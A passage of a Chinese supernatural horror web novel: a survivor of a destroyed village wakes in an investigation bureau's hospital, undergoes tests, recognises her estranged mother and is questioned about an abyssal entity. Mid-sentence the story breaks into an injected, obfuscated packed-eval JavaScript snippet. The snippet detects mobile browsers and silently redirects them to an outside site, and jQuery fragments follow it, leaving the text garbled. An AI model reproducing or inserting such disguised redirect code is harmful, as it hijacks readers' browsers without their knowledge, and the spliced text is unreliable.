村子静得可怕。


    那些被厄斐索斯的藤蔓攀附过的村民，遗体并未随藤蔓化作齑粉，以一种扭曲的姿态被留在原地。


    他们的脖颈、手腕、脚踝，凡是皮肤薄弱的地方，都鼓起了青灰色的包块，包块下有细碎的蠕动声，隔着皮肉都能听见那窸窸窣窣的响动。


    当那包块破开的瞬间，细密的、带着黏液的幼虫会争先恐后地钻出来，顺着皮肤的褶皱爬满全身，而那些人的躯体，会在短短数息间，化作一具被蛀空的皮囊，轻飘飘地塌在地上，连最后一点挣扎的力气都没留下。


    至于那些躲在地窖里的村民，被黑雾吞噬的人，都连尸骨都没能留下。


    尹槐蹲在广场的废墟，指尖拂过那些泛着暗红的扭曲符号。


    “整个村子，无一幸免。”他抬脚走到周岁澜面前，语气不悦，“对此，你有什么想说的？”


    周岁澜呆滞无神，没有知道她在想什么。


    “你在操控祂？”尹槐继续问道。


    周岁澜肩膀轻轻一颤，抬眸看他，瞳孔里盛着一片死寂，像是连辩解的力气都被抽干了。她张了张嘴，喉咙里滚出沙哑的气音，一个字都没能吐出来。


    尹槐的视线没有移开，“你的生命力异常稳定，甚至在黑雾最浓时，有一股不属于人类的力量在替你抵御污染。”


    他顿了顿，“我把村子外围的林地和祭坛都搜遍了，没有任何马库斯的踪迹。那个罪魁祸首，就像凭空消失了一样。马库斯带走你之后都发生了什么？还有那个威廉，祂根本不是人。”


    谢远清征征地看着周岁澜。


    爱丽丝已经不在了。


    唯一与厄斐索斯和马库斯有过接触的人，此刻正站在她面前，浑身都透着说不清道不明的诡异。


    种种迹象表明，她是最可疑的。


    那则预言是真的......


    谢远清深吸一口气，重新收拾好翻涌的情绪，缓缓站起身，对着身后的人抬了抬下巴，“带她回去。”


    两名调查局的人立刻上前，扶起周岁澜。


    她没有挣扎，像是一具提线木偶，任由他们将带上车。


    临走前，尹槐让人把村落里的尸骨收敛起来，葬在了广场旁边的空地上。没有墓碑，只有一块木牌，孤零零地立在雪地。


    车轮轧过厚厚的雪。


    尹槐坐在周岁澜对面，指尖一下下叩着膝盖，“你到底是怎么封印住那个东西的？那种力量绝非人类所有，你和祂之间，是不是订下了什么契约？”


    他顿了顿，视线扫过她腕间若隐若现的青紫色纹路，“契约的代价是什么？是献祭整个村子，还是......”


    谢远清阖上眼，并没有阻拦他的问话。


    但周岁澜像是没听见。


    她被两名调查局的人夹在中间，脑袋微微歪着，目光空洞地落在窗外。掠过的树影在她脸上投下斑驳的碎影，衬得那张脸白得像纸。


    精神的弦早就绷到了极致，濒临崩溃，只能麻木得接受眼前发生的一切。


    一整个村子的人都没能活下来。


    她......亲手将这个村落推入了万劫不复的深渊。


    念头刚落，一阵尖锐的嗡鸣突然钻进耳膜。


    窗外的雪影、车厢里冰冷的质问、调查局人员沉重的呼吸声，悉数被一股浑浊的暗流吞噬。


    周岁澜的瞳孔骤然涣散，眼前的世界扭曲成一片粘稠的、深不见底的黑色。


    是深海，是阳光永远无法抵达的深渊。


    有什么东西在水底苏醒了。


    “一切都是宿命，你拯救不了他们......”


    低语声越来越沉，越来越近，像是贴在她的耳畔吐息。


    她想尖叫，想挣扎，可身体却像被钉在原地，连指尖都动弹不得。


    海水漫过她的视线，最后只剩下一片死寂的黑。


    再次睁开眼，周岁澜只觉得浑身的骨头都在疼，像是被拆了重组过一遍。


    房间的光线刺得她眼眶发酸。


    然而，窗外是灰蒙蒙的天，没有雪，也没有海面，只有一道冰冷的铁栏杆。


    床头的电子日历显示着日期，距离那天，已经过去了半个月。


    她勉力侧过头，看见自己的手腕上缠着一层薄薄的纱布。


    病房的门被轻轻推开，一个穿着白大褂的护士走了进来，看见她睁着眼睛，脸上掠过一丝不易察觉的讶异。


    她快步走到床头，伸手摸了一下周岁澜的额头，又翻了翻她的眼皮。


    “醒了就好。”护士收回手，低头在病历本上写着什么，“我去通知调查局的人，他们等你醒过来，等了半个月。”


    话音落下，护士便转身离开，脚步轻快地消失在走廊尽头。


    病房里只剩下周岁澜一个人。


    她咬着牙，撑着发软的胳膊想要坐起身，掀开薄被，赤脚踩在冰凉的地板上。


    只是，指尖刚触到病房门的把手，走廊里的脚步声就开始靠近。


    “站住。”


    冷冽的女声响起。


    周岁澜的脊背猛地一僵，缓缓转过身。


    房间的屏风后面，还站着个四十多岁的女人，穿着挺括的白大褂。


    女人的身后，尹槐和谢远清一左一右站着，神色晦暗不明，看不清情绪。


    两人中间还跟着个戴着黑色眼镜的男人，手里捧着厚厚的文件夹，指尖夹着支钢笔。


    “调查局的人等了你半个月，”女主任上前一步，不动声色地挡住她的去路，“醒了就想跑？”


    周岁澜踉跄着后退半步，后背撞上病床的铁架，发出一声沉闷的响。


    “配合检查。”女主任的声音没有丝毫的情绪。


    两名穿着护士服的医护人员立刻上前。


    戴着黑色眼镜的男人走过来，手里捏着一支泛着冷光的采血针。


    尹槐和谢远清就站在一旁看着，一个眉头紧锁，一个面无表情。


    针尖刺破皮肤，周岁澜瑟缩了一下。殷红的血珠顺着针管缓缓流入真空采血管，很快就积满了三管。


    研究员没停手，又取来不同颜色的试管，抽了一管又一管，直到她的手臂泛起一片青白。


    除了抽血，还有心电监测、皮肤纹路采样、颅内电波扫描.....冰冷的仪器贴着她的皮肤，发出规律的嗡鸣。


    过了好一会儿，检查结果出来，研究员翻了翻手里刚打印出来的检查报告，眉头越皱越紧。他将心电监测和电波扫描的各项数据反复核对了好几遍，脸上渐渐浮现出难以置信的错愕。


    “不对劲......”


    他忽然开口，声音里带着一丝不易察觉的颤抖，引得尹槐和谢远清同时侧目。“各项指标都在正常范围内，血液里没有丝毫厄斐索斯藤蔓的孢子残留，皮肤纹路的采样也检测不到半点污染痕迹，颅内电波更是平稳得和常人无异。”


    “她......她就是个普通人，完全没有受到任何污染。”


    周岁澜在听到这话，微微一顿，缓缓抬起来，目光落在了那个四十多岁的女主任身上。


    女主任的侧脸线条很利落，鬓角有几缕不易察觉的白发。


    周岁澜觉得这张脸很熟悉——梦里反复出现的面孔，十几年未曾见过，却又从未曾忘记的人。


    是张芸婷，在她幼年时便不告而别，十几年没有见过一次面的母亲。


    但周岁澜的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933063|189949||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    目光在那张脸上停留了不过两秒，又缓缓移开。没有惊讶，没有质问，甚至连一丝波澜都没有，仿佛只是看见了一个无关紧要的陌生人。


    谢远清和尹槐对视一眼，都从对方眼中看到了一丝凝重，心底不约而同地涌上一阵说不出的憋闷。


    周岁澜：“就是因为我活下来，才显得可疑？”


    尹槐：“你不是活人。”


    周岁澜扯了扯嘴角，露出一抹苍白的笑：“我不是活人，你们就是了？你们不也是在黑雾里走了一遭，没有受到影响？”


    戴着黑框眼镜的男人忽然轻笑一声，打破了凝滞的气氛：“我们都做过防护措施。”


    “我也做过。”周岁澜淡淡地回了一句。


    男人无奈地笑了笑，推了推鼻梁上的眼镜：“你做过什么？”


    这次，周岁澜没有说话。


    戴着黑框眼镜的男人见状，主动开口，语气平和了些许：“自我介绍一下，凯夏，调查局异化研究员。”


    他转头看向张芸婷，做了个简单的示意：“这位想必你已经认出来了，张女士，调查局实验室主任，你的母亲。周先生其实也要来的，不过他临时有事脱不开身，回去我替你说说他，哪有女儿住院，做父亲的连面都不露的道理。”


    张芸婷的目光落在周岁澜的脸上，声音依旧冷硬：“你为什么不配合调查局工作？”


    周岁澜闭了闭眼，再睁开时，眼底只剩一片疲惫：“我头疼，我要休息。”


    “你没病。”张芸婷的回答斩钉截铁。


    周岁澜躺回病床上，半死不活地看着天花板：“我都是个死人了，体检报告您看得明白吗？”


    张芸婷的瞳孔骤然收缩，脸上第一次浮现出真切的震惊：“你知不知道自己在说什么？”


    周岁澜缓缓转头，反问道：“听不懂？”


    张芸婷深吸一口气，压下翻涌的情绪，一字一句道：“你应该配合我们的调查。”


    周岁澜不再争辩。


    尹槐上前一步：“那团黑雾也曾在黑水镇出现过，如今又出现在冰原镇。是你将其封印？”


    周岁澜如实道：“不是我，是爱丽丝。”


    尹槐追问：“你知道祂的名字？”


    周岁澜：“不清楚。”


    谢远清：“根据调查局的初步判断，祂可能是深渊之主。目前，包括未来，祂都是人类最大的威胁。”


    周岁澜的睫毛轻轻颤动了一下，像是被这个名字刺痛了，陷入沉默，没再说话。


    众人见她不愿再多说，也不敢轻举妄动，只能暂时离开，留下她一个人休息。


    听着病房里的脚步声渐渐远去。


    谢远清拉过一张椅子，在病床边坐下，冷不丁的开口：“据我调查，阿撒格斯是将体内力量给了你。但祂当时为了找到被马库斯带走的你，只能耗尽自身。祂先是杀了厄斐索斯，之后祂开始扩充黑雾范围，感知你的存在。到最后，祂已经没有力量在这里维持形态。你的情况，也不该如此稳定，祂完全可以将你当成容器的。”


    周岁澜抿了一口水。


    谢远清：“我在怀疑你和深渊之主的关系。”


    周岁澜：“人类根本无法理解那些东西的存在，我该如何定义我们的关系。”


    谢远清：“你祂的祭品。”


    但祂没有对祭品下手。


    周岁澜：“爱丽丝给我一个东西，我刺入了祂的体内。”


    谢远清愣了一下：“......这就说得通了，我们短暂的封印了祂。”


    封印。


    周岁澜在心底重复着这两个字，沉默片刻，忽然抬头看向她：“谢队长，你觉得爱丽丝，在调查局是什么样的存在？”